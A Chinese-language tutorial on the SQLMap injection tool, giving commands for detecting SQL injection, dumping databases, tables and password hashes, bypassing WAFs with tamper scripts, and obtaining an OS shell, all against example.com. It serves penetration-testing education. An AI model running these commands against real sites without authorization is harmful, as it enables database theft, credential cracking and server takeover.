SQLMap
1. 安装 SQLMap
1.1 使用 Git 克隆 SQLMap
SQLMap 是一个 Python 编写的开源工具,因此你首先需要安装 Python 环境。然后你可以通过 Git 克隆 SQLMap 的代码库。
安装步骤:
-
克隆仓库:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
进入 SQLMap 目录:
cd sqlmap-dev
-
执行 SQLMap:
SQLMap 是用 Python 编写的,你只需执行 Python 脚本即可:
python sqlmap.py
1.2 直接下载
你也可以直接从 SQLMap 的 GitHub 页面 下载 SQLMap 的压缩包,然后解压到本地。
2. SQLMap 基础使用
2.1 执行基本测试
SQLMap 的最简单的用法是检测目标 URL 中是否存在 SQL 注入漏洞。我们以一个简单的 URL 举例,假设它是一个 Web 应用的搜索页面,其中通过 id
参数来传递值:
http://example.com/product.php?id=1
我们可以使用 SQLMap 来检测这个 URL 是否存在 SQL 注入漏洞。SQLMap 会尝试在该 URL 中注入 SQL 代码,看看应用程序是否存在漏洞。
命令:
python sqlmap.py -u "http://example.com/product.php?id=1" --batch
解释:
-
-u
参数后面跟的是目标 URL。 -
--batch
参数是指自动接受 SQLMap 的默认选择,避免交互式提示,适用于自动化任务。
SQLMap 会自动判断该 URL 是否存在 SQL 注入漏洞,并返回相关信息。
2.2 POST 请求测试
许多现代 Web 应用程序使用 POST
请求来提交表单数据,SQLMap 同样支持对 POST
请求进行 SQL 注入测试。假设你有一个登录表单,提交 username
和 password
参数,示例如下:
POST http://example.com/login.php
username=admin&password=1234
你可以使用 SQLMap 来测试该表单的 SQL 注入漏洞。用 --data
参数指定 POST 请求数据。
命令:
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=1234" --batch
解释:
-
--data="username=admin&password=1234"
:指定 POST 请求的数据,这里是用户名和密码。
SQLMap 会发送该数据并测试是否存在 SQL 注入漏洞。
2.3 使用 Cookies 进行身份验证
如果目标应用需要登录才能访问特定页面,你可以使用 --cookie
参数传递身份验证的 Cookie 值。例如,如果目标应用使用 PHP 会话,Session Cookie 可以像这样传递:
命令:
python sqlmap.py -u "http://example.com/dashboard.php" --cookie="PHPSESSID=abc123" --batch
解释:
-
--cookie="PHPSESSID=abc123"
:指定 Cookie 参数,通常用于绕过认证或维持会话状态。
SQLMap 会使用该 Cookie 进行 SQL 注入测试。
2.4 使用 Headers 进行注入测试
如果你的请求需要通过 HTTP 头部传递额外的信息,例如 User-Agent
或 Referer
,你可以使用 --headers
参数来传递它们。
命令:
python sqlmap.py -u "http://example.com/search.php?q=test" --headers="User-Agent: Mozilla/5.0" --batch
3. 高级功能和参数
3.1 列出数据库、表和列
SQLMap 允许你获取目标数据库的详细信息,包括数据库名、表名、列名以及表中的数据。
-
列出数据库:
python sqlmap.py -u "http://example.com/product.php?id=1" --dbs --batch
解释:
-
--dbs
:列出数据库名。
-
-
列出表:
假设你已经知道数据库名,接下来列出该数据库中的表:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> --tables --batch
解释:
-
-D <database_name>
:指定要操作的数据库名。 -
--tables
:列出数据库中的所有表。
-
-
列出列:
如果你已经知道表名,接下来列出表中的列:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> -T <table_name> --columns --batch
解释:
-
-T <table_name>
:指定表名。 -
--columns
:列出表中的列。
-
-
获取数据:
一旦列出表的列,可以进一步获取数据:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> -T <table_name> --dump --batch
解释:
-
--dump
:从指定的表中导出数据。
-
3.2 使用不同的注入技术
SQLMap 支持多种 SQL 注入技术,包括盲注(Blind)、错误注入(Error-based)、联合查询注入(Union-based)等。SQLMap 会根据实际情况自动选择最合适的注入技术。
如果你知道目标应用程序可能受到某种类型的 SQL 注入攻击,你可以通过 --technique
参数手动指定注入技术。
-
盲注:
python sqlmap.py -u "http://example.com/product.php?id=1" --technique=B --batch
解释:
-
--technique=B
:强制使用盲注(Blind Injection)。
-
-
时间盲注:
python sqlmap.py -u "http://example.com/product.php?id=1" --technique=T --batch
解释:
-
--technique=T
:使用时间盲注。
-
3.3 绕过防火墙和 WAF
许多 Web 应用程序会使用 Web 应用防火墙(WAF)来防止 SQL 注入。SQLMap 提供了 --tamper
参数,可以绕过这些防护。
-
绕过 WAF:
python sqlmap.py -u "http://example.com/product.php?id=1" --tamper=space2comment --batch
解释:
-
--tamper=space2comment
:这个tamper
脚本将空格转换为 SQL 注释,可能帮助绕过一些 WAF 规则。
-
3.4 获取操作系统命令执行权限
如果目标数据库配置不当且 SQL 注入漏洞严重,SQLMap 还可以利用该漏洞获取操作系统命令执行权限。
-
获取操作系统 Shell:
python sqlmap.py -u "http://example.com/product.php?id=1" --os-shell --batch
解释:
-
--os-shell
:尝试获取操作系统 shell,允许执行系统命令。
-
3.5 暴力破解密码
如果你通过 SQL 注入漏洞得到了用户表并且其中包含密码哈希,SQLMap 可以尝试进行暴力破解。
-
暴力破解哈希:
python sqlmap.py -u "http://example.com/product.php?id=1" --dump -D <database_name> -T users --passwords --batch
解释:
-
--passwords
:要求 SQLMap 在--dump
过程中也导出密码字段。 -
SQLMap 会通过字典攻击等方式暴力破解密码。
-
4. SQLMap 的常见参数
参数 | 说明 |
---|---|
-u <url> | 指定目标 URL |
--data=<data> | 指定 POST 请求的数据 |
--cookie=<cookie> | 指定 HTTP Cookies |
-D <database> | 指定操作的数据库 |
-T <table> | 指定操作的表 |
--technique | 强制使用特定的 SQL 注入技术 |